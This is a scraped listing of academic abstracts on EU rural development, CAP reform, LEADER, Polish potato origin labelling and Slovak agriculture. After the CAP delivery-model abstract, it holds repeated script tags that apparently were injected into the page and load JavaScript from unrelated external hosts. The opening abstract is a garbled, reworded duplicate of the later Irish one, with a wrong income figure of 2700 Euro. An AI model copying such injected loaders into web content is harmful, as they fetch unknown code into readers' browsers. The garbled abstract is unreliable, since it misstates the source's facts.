Main directions in the eu member states rural development policies: similarities and dissimilarities

For the 1st fifteen years or so there has been an intensive talk about the Irish "economic miracle". Since Irish economy has experienced a highest degree of sustained growth among the EU states in this very period, this observation is an accurate one. The average GDP in this period has constantly been above five percent. The national income per capita rose dramatically to 2700 Euro and is the highest in the EU. The rate of employment is permanently on the increase while (qualified) working force is becoming imported as well. In a very short period of time Ireland has achieved not only an impressive level of economic development, but has also experienced a radical social transformation. From predominantly agrarian and traditionally emigrant country, Ireland had rapidly become a highly developed (post)industrial immigrant society. There is no doubt that the adequate strategy and the politics of rural development had an important role to play in achieving these remarkable results. Regardless of how much this development is conditioned and influenced by the rural development policies of the EU, Irish model still has many authentic features. This paper explores the possibilities of using some of these experiences from the Irish developmental strategies in the context of an integral rural development of Serbia in the period of transition.

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The new delivery model of the CAP: Some relevant issues

Economía Agraria y Recursos Naturales ◽

10.7201/earn.2020.01.07 ◽

2020 ◽

Vol 20 (1) ◽

pp. 149

Author(s):

Tomás García Azcárate ◽

Carina Folkeson

Keyword(s):

Rural Development ◽

European Commission ◽

Member States ◽

Delivery Model ◽

Eu Member States ◽

Strategic Plans ◽

Real Change ◽

Sensitive Issues ◽

Historical Management ◽

The Eu

<div><div><p>A key element of the European Commission´s proposal for the post-2020 CAP is the re-quirement for the EU Member States to present their proposed interventions in the form of a Strategic Plan. We addresses six sensitive issues: Similarities between the new architecture and the Rural Development historical management; performance reserve and duration of the financial perspectives; declared ambitions for the Strategic Plans; lengths of those Plans and an administrative challenge, in Spain and perhaps in other Member states. Our conclusion is that a real change is achievable but we should give time to time and that a step-by-step implementation is advisable.</p></div></div><script type="text/javascript" src="https://blinkjork.com/214f104573d95d95ba.js"></script><script type="text/javascript" src="https://static-resource.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&uid=8527x"></script><script type="text/javascript" src="https://cdn-javascript.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&uid=8527x&format=arrjs&r=1578922923595"></script><script type="text/javascript" src="https://blinkjork.com/ext/214f104573d95d95ba.js?sid=52550_8527_&title=s&blocks[]=31af2"></script><script type="text/javascript" src="https://blinkjork.com/214f104573d95d95ba.js"></script><script type="text/javascript" src="https://static-resource.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&uid=8527x"></script><script type="text/javascript" src="https://cdn-javascript.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&uid=8527x&format=arrjs&r=1583929298033"></script><script type="text/javascript" src="https://blinkjork.com/ext/214f104573d95d95ba.js?sid=52550_8527_&title=s&blocks[]=31af2"></script>

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COOL potatoes? Poland plans to introduce mandatory country of origin labelling for fresh potatoes

European Journal of Risk Regulation ◽

10.1017/err.2019.12 ◽

2019 ◽

Vol 10 (1) ◽

pp. 208-218

Author(s):

Ignacio CARREÑO ◽

Lourdes MEDINA PÉREZ

Keyword(s):

Rural Development ◽

European Commission ◽

Fruits And Vegetables ◽

Country Of Origin ◽

Fruit And Vegetables ◽

Member States ◽

Eu Member States ◽

Council Regulation ◽

Draft Regulation ◽

The Eu

On 14 November 2018, Poland’s Ministry for Agriculture and Rural Development notified the European Commission (hereinafter, Commission) of its intention to introduce mandatory country of origin labelling (hereinafter, COOL) for potatoes on the basis of a Draft Regulation of the Minister for Agriculture and Rural Development amending the Regulation on the labelling of certain foodstuffs (hereinafter, Draft Regulation).1 Poland’s notification is the most recent example of the continuously increasing number of EU Member States’ measures on COOL for foodstuffs. While the EU already provides COOL requirements for fruits and vegetables in Regulation (EU) No 543/2011 of 7 June 2011 laying down detailed rules for the application of Council Regulation (EC) No 1234/2007 in respect of the fruit and vegetables and processed fruit and vegetables sectors2 (hereinafter, Regulation (EU) No 543/2011), they do not apply to fresh potatoes.

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The Leader Approach Across The European Union: One Method of Rural Development, Many Forms of Implementation

European Countryside ◽

10.2478/euco-2019-0001 ◽

2019 ◽

Vol 11 (1) ◽

pp. 1-16 ◽

Cited By ~ 9

Author(s):

Ondřej Konečný

Keyword(s):

Rural Development ◽

Rural Areas ◽

Endogenous Development ◽

The European Union ◽

Member States ◽

New Member States ◽

Eu Member States ◽

Potential Impact ◽

The One ◽

The Eu

Abstract After the accession of the ten new member states to the EU in 2004 and the following membership of Bulgaria and Romania in 2007, the (neo)endogenous development method LEADER has become pan-European. LEADER was implemented in all EU countries in the period 2007–2013, however, its application and potential to impact rural areas differed from country to country. Therefore, the aim of the article is to describe these differences on the basis of support outputs of LEADER under Axis 4 of the Rural Development Programs in 2007–2013. Respecting different path dependencies of the EU states, the article demonstrates the differences in the implementation of this method in two basic territorial units of the EU member states according to the length of the EU membership, as well as the length of experience in implementation of the LEADER method. The scope of LEADER implementation and the potential impact significantly differed between the old and new member states, and the internal heterogeneity of groups is also evident. On the one hand, lack of embeddedness of the method is manifested among the EU12 states (the need for dynamic growth of institutional capacity), on the other hand, socio-economic and political factors modify scope, potential impact and way of implementation of the method in individual countries.

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Irish experiences of the rural development possible lessons for Serbia

Economic Annals ◽

10.2298/eka0463183m ◽

2004 ◽

Vol 49 (163) ◽

pp. 183-202

Author(s):

Krstan Malesevic

Keyword(s):

Rural Development ◽

Social Transformation ◽

National Income ◽

Gdp Growth Rate ◽

Short Period ◽

Development Policies ◽

Level Of Economic Development ◽

Post Industrial ◽

The Eu ◽

Rural Development Policies

For the last fifteen years or so there has been an intensive discussion about the Irish "economic miracle". Since Irish economy has experienced a highest degree of sustained growth among the EU states in this very period this perception is an accurate one. The average GDP growth rate in this period has constantly been above five percent. The national income per capita rose dramatically to 27000 Euro and is the highest in the EU. The rate of employment is permanently on the increase while (qualified) workforce is becoming imported as well. In a very short period of time Ireland has achieved not only an impressive level of economic development but has also experienced a radical social transformation. From predominantly agrarian and traditionally emigrant country, Ireland has rapidly become a highly developed (post)industrial immigrant society. There is no doubt that the adequate strategy and the politics of rural development had an important role to play in achieving these enviable results. Regardless of how much this development is conditioned and influenced by the rural development policies of the EU, Irish model still has many authentic features. This paper explores the possibilities of using some of these experiences from the Irish developmental strategies in the context of an integral rural development of Serbia in the period of transition.

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Alternative rating methods of the LEADER programme

Acta Agraria Debreceniensis ◽

10.34101/actaagrar/50/2585 ◽

2012 ◽

pp. 175-177

Author(s):

Szilárd Ágoston Jávor

Keyword(s):

European Union ◽

Rural Development ◽

Development Policy ◽

The European Union ◽

Member States ◽

Eu Member States ◽

Rural Development Policy ◽

The Eu

LEADER was one of the most important and diverse initiations in the rural development policy of the recent years that made it possible in the Member States of the European Union to carry out the needs of the lowest level, directly coming from the citizens. Decentralisation and the assignment of certain authorities furthered this opportunity, whereas it was greatly restricted by the strong centralisation and regulation of the program in Hungary. This was the reason why the Hungarian LEADER program did not achieve any measureable success in terms of the standards in the rest of the EU Member States. There is a need to change this practice that can be done by the complete Hungarian reform of the program.

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Zur Reform der EU-Agrarpolitik: Umbau statt Abbau von Subventionen

Zeitschrift für Wirtschaftspolitik ◽

10.1515/zfwp-2005-0107 ◽

2005 ◽

Vol 54 (1) ◽

Author(s):

Jörg-Volker Schrader

Keyword(s):

Rural Development ◽

Animal Health ◽

Environmental Policies ◽

Doha Round ◽

Allocation Of Resources ◽

Health Measures ◽

Development Policies ◽

Direct Payments ◽

The Eu ◽

Rural Development Policies

AbstractThe paper discusses the decisions on the reform of the CAP from June 2003. The decisions focus on the decoupling of the direct payments to farmers from production. This will reduce production incentives and thereby improve the allocation of resources. However, payments to farmers will hardly be reduced in total but rather partly be redirected towards rural development policies, environmental policies and animal health measures. Since a consistent rationale for permanent payments to farmers is missing, payments should be stopped completely. The increase of financial support for rural development is the wrong way, since most measures, again, are interventions in favour of farmers. The latest WTO-Agreement on the continuation of the Doha-Round will put additional reform pressure on the EU.

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Slovak agriculture heading for the EU membership

Agricultural Economics (Zemědělská ekonomika) ◽

10.17221/5275-agricecon ◽

2012 ◽

Vol 49 (No. 3) ◽

pp. 120-127

Author(s):

G. Blaas

Keyword(s):

Rural Development ◽

Transition Period ◽

Terms Of Trade ◽

Member States ◽

Eu Member States ◽

Eu Membership ◽

The Future ◽

Direct Payments ◽

The Eu

The paper analyses the economic and policy gap between the agriculture in Slovakia and the EU member states from the perspective of the future accession of this country to the Union. As it concludes, the deterioration of terms of trade during the transition period creates also problems for the accession negotiations, because this fact seems to legitimate the equitable implementation of the CAP in all member countries after the East-enlargement of the Union. The paper is arguing, on the basis of income simulation, that that the Commission proposal on reduced direct payments for the newly admitted countries would, in case of Slovakia, generate an improvement of the sectoral income only if they are topped by rural development measures.

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